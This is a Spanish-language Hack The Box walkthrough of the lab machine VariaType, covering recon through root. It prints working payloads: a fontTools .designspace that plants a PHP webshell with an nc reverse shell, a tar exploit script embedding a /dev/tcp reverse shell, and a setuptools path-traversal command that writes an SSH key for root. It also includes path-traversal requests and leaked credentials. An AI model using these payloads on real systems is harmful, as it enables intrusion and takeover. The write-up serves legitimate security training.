CorvusDDosKRom

Hack The Box: VariaType

Medium

VariaType es una máquina de nivel Medium en Hack The Box con Linux. Un subdominio portal expone un directorio .git con credenciales hardcodeadas en el historial de commits. Una vulnerabilidad de path traversal en download.php permite leer archivos del servidor, incluyendo la configuración nginx que revela el webroot. CVE-2025-66034 en fontTools permite escribir una webshell al directorio /files mediante un .designspace malicioso. Desde www-data, CVE-2024-25082 explota command injection en fontforge a través de un tar malicioso procesado por un cron job de steve. La escalada abusa de CVE-2025-47273 en setuptools para escribir una clave SSH pública en /root/.ssh/authorized_keys via un script sudo.

Linux
Hack The Box
Git Exposed Virtual Host Enumeration Path Traversal fontTools CVE-2025-66034 CVE-2024-25082 CVE-2025-47273 FontForge setuptools Arbitrary File Write Command Injection Linux

VariaType

Plataforma: Hack The Box

Dificultad: Medium

🔗 Link de la máquina: https://app.hackthebox.com/machines/VariaType

VariaType

Reconocimiento

Realizamos un escaneo de puertos con Nmap para identificar los servicios activos en la máquina objetivo.

sudo nmap -p- -sS -sCV --min-rate 2500 -Pn -n -oN variatype.txt 10.129.7.224
Starting Nmap 7.99 ( https://nmap.org ) at 2026-03-14 10:12 -0300
Nmap scan report for 10.129.7.224
Host is up (0.20s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 e4:b5:c8:7f:2a:9d:38:4e:bf:4e:31:aa:d7:e1:c5:d3 (ECDSA)
|_  256 8a:b7:96:e0:21:92:5d:1d:cf:8d:e2:6b:dd:37:c6:75 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: Did not follow redirect to http://variatype.htb/
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.37 seconds

Detalles del comando:

  • -p-: Escaneo de todos los puertos.
  • -sS: Escaneo SYN para determinar el estado de los puertos.
  • -sCV: Usa scripts por defecto y detectar versiones de servicios.
  • --min-rate 2500: Establece un ritmo mínimo de escaneo.
  • -n: Desactiva la resolución DNS.
  • -Pn: Omite la detección de hosts activos.
  • -oN variatype.txt: Guarda los resultados en el archivo “variatype.txt”.

Puertos descubiertos:

PuertoServicioDetalle
22/tcpSSHOpenSSH 9.2p1 — Debian
80/tcpHTTPnginx 1.22.1 → redirect a variatype.htb
echo "10.129.7.224 variatype.htb" | sudo tee -a /etc/hosts

Enumeración

Aplicación web

La aplicación permite generar fuentes variables subiendo un archivo .designspace junto con archivos TTF o OTF. El formato .designspace define los ejes y relaciones entre masters de fuentes, y la aplicación usa fontTools para procesarlos.

Web

Generar fuente

Virtual Host Enumeration — portal.variatype.htb

Enumeramos subdominios con ffuf:

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FUZZ \
  -u http://variatype.htb -H "Host: FUZZ.variatype.htb" -fw 5
portal    [Status: 200, Size: 2494, Words: 445, Lines: 59]

Añadimos el subdominio:

echo "10.129.7.224 portal.variatype.htb" | sudo tee -a /etc/hosts

Git Expuesto → Credenciales

El portal muestra una página de login. Enumeramos directorios:

dirsearch -u http://portal.variatype.htb
[08:01:12] 301 - /.git -> http://portal.variatype.htb/.git/
[08:01:34] 200 - /auth.php
[08:01:42] 302 - /dashboard.php -> /
[08:01:44] 302 - /download.php -> /
[08:01:47] 301 - /files -> http://portal.variatype.htb/files/
[08:02:24] 302 - /view.php -> /

El directorio .git está expuesto. Lo volcamos con git-dumper:

git-dumper http://portal.variatype.htb/.git/ ./repo
cd repo
git log --all --oneline
753b5f5 fix: add gitbot user for automated validation pipeline
5030e79 feat: initial portal implementation

Inspeccionamos el commit más reciente:

git show 753b5f5
--- a/auth.php
+++ b/auth.php
@@ -1,3 +1,5 @@
 <?php
 session_start();
-$USERS = [];
+$USERS = [
+    'gitbot' => 'G1tB0t_Acc3ss_2025!'
+];

Credenciales: gitbot:G1tB0t_Acc3ss_2025!

Portal — Dashboard

Portal

Accedemos con las credenciales encontradas. El dashboard muestra el historial de fuentes generadas con opciones de View y Download.

Dashboard

Path Traversal — download.php

El botón Download realiza peticiones a download.php?f=<archivo>. Interceptamos con Burp Suite e intentamos leer /etc/passwd:

GET /download.php?f=../../../../etc/passwd HTTP/1.1

La respuesta es File not found. Bypasseamos el filtro con doble traversal:

GET /download.php?f=....//....//....//....//etc/passwd HTTP/1.1

LFI bloqueada

Path Traversal /etc/passwd

Podemos leer archivos arbitrarios. Leemos la configuración de nginx para identificar el webroot:

GET /download.php?f=....//....//....//....//etc/nginx/sites-enabled/portal.variatype.htb
server {
    listen 80;
    server_name portal.variatype.htb;
    root /var/www/portal.variatype.htb/public;

    location /files/ {
        autoindex off;
    }
}

El webroot del portal es /var/www/portal.variatype.htb/public y el directorio /files/ sirve archivos estáticos con PHP activo.


Explotación

CVE-2025-66034 — fontTools Arbitrary File Write → Webshell

CVE-2025-66034 afecta al parser .designspace de fontTools. El campo filename del elemento <variable-font> permite path traversal al escribir el archivo de salida. Combinando esto con contenido PHP en <labelname>, escribimos una webshell directamente en el directorio /files/ del portal.

rev.designspace:

<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
      <labelname xml:lang="en"><![CDATA[<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.15.132 4444 >/tmp/f'); ?>]]></labelname>
    </axis>
  </axes>
  <sources>
    <source filename="source-light.ttf" name="Light">
      <location><dimension name="Weight" xvalue="100"/></location>
    </source>
    <source filename="source-regular.ttf" name="Regular">
      <location><dimension name="Weight" xvalue="400"/></location>
    </source>
  </sources>
  <variable-fonts>
    <variable-font name="Hack"
      filename="../../../../../../../var/www/portal.variatype.htb/public/files/revshell.php">
      <axis-subsets>
        <axis-subset name="Weight"/>
      </axis-subsets>
    </variable-font>
  </variable-fonts>
</designspace>

Subimos el .designspace junto con dos TTF normales en http://variatype.htb/tools/variable-font-generator:

Upload

CVE-2025-66034

El dashboard del portal confirma que revshell.php fue escrito en /files/. Con listener activo:

nc -lvnp 4444

Activamos la webshell visitando http://portal.variatype.htb/files/revshell.php:

Reverse Shell

www-data@variatype:~/portal.variatype.htb/public/files$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Movimiento Lateral → steve

pspy — Monitoreo de Procesos

Descargamos y ejecutamos pspy64s para monitorear procesos sin privilegios de root:

cd /tmp
wget http://10.10.15.132:8080/pspy64s
chmod +x pspy64s
./pspy64s

pspy

2026/06/02 10:20:01 CMD: UID=1000 PID=5742 | /bin/bash /home/steve/bin/process_client_submissions.sh
2026/06/02 10:20:01 CMD: UID=1000 PID=5743 | timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c
import fontforge; font = fontforge.open('variabype_8GJKTv4L6FM.ttf') ...

Un cron job ejecutado por steve (UID=1000) invoca fontforge para procesar los archivos del directorio /files/. Encontramos una copia del script en /opt:

cat /opt/process_client_submissions.bak

El script procesa archivos .ttf, .otf, .zip, .tar, .tar.gz y .sfd del directorio de uploads, pasando el nombre de archivo directamente a fontforge.open('$file').

CVE-2024-25082 — FontForge Command Injection via tar malicioso

CVE-2024-25082 permite command injection en fontforge a través del nombre de un archivo dentro de un archive .tar. El nombre del archivo se interpreta como comando de shell cuando fontforge intenta abrirlo.

Generamos el payload en base64:

echo "bash -i >& /dev/tcp/10.10.15.132/5555 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xMzIvNTU1NSAwPiYxCg==

exploit.py:

#!/usr/bin/env python3
import tarfile

entry_name = r"$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xMzIvNTU1NSAwPiYxCg== | base64 -d | bash)"

tarinfo = tarfile.TarInfo(name=entry_name)
tarinfo.size = 0
tarinfo.type = tarfile.REGTYPE

with tarfile.open("poc.tar", "w") as t:
    t.addfile(tarinfo)

Descargamos el script al directorio de uploads y generamos el archivo:

cd /var/www/portal.variatype.htb/public/files
wget http://10.10.15.132:8080/exploit.py
python3 exploit.py

Con listener en Kali:

nc -lvnp 5555

Cuando el cron job procesa poc.tar, fontforge ejecuta el payload y obtenemos shell como steve:

steve

steve@variatype:/tmp/ffarchive-5933-1$ id
uid=1000(steve) gid=1000(steve) groups=1000(steve)

User Flag

steve@variatype:~$ cat user.txt

User Flag


Escalada de Privilegios

sudo -l → install_validator.py

steve@variatype:~$ sudo -l
User steve may run the following commands on variatype:
    (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *

sudo -l

El script descarga plugins desde una URL usando setuptools.PackageIndex.download(). Verificamos la versión instalada:

python3 -c "import setuptools; print(setuptools.__version__)"
78.1.0

CVE-2025-47273 — setuptools Path Traversal → Escritura de clave SSH

CVE-2025-47273 es una vulnerabilidad de path traversal en la función PackageIndex.download() de setuptools (corregida en 78.1.1). Permite escribir el archivo descargado en una ruta arbitraria usando secuencias percent-encoded en la URL.

Generamos un par de claves SSH:

ssh-keygen -t ed25519 -f /tmp/root_key

Creamos un servidor HTTP mínimo que devuelve nuestra clave pública:

server.py:

from http.server import HTTPServer, BaseHTTPRequestHandler

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-type", "text/plain")
        self.end_headers()
        self.wfile.write(open("/tmp/root_key.pub", "rb").read())

HTTPServer(("0.0.0.0", 8000), Handler).serve_forever()
python3 server.py &

Ejecutamos el script sudo con la URL maliciosa donde el nombre de archivo es la ruta codificada a /root/.ssh/authorized_keys:

sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
  'http://10.10.15.132:8000/%2f%2f%2froot%2f.ssh%2fauthorized_keys'
[INFO] Plugin installed at: ///root/.ssh/authorized_keys
[+] Plugin installed successfully.

PackageIndex.download() decodifica los slashes percent-encoded y escribe nuestra clave pública directamente en /root/.ssh/authorized_keys. Accedemos como root via SSH:

ssh -i /tmp/root_key root@10.129.7.224
root@variatype:~# id
uid=0(root) gid=0(root) groups=0(root)

Root


Root Flag

root@variatype:~# cat /root/root.txt

Root Flag


Máquina VariaType de Hack The Box completada exitosamente.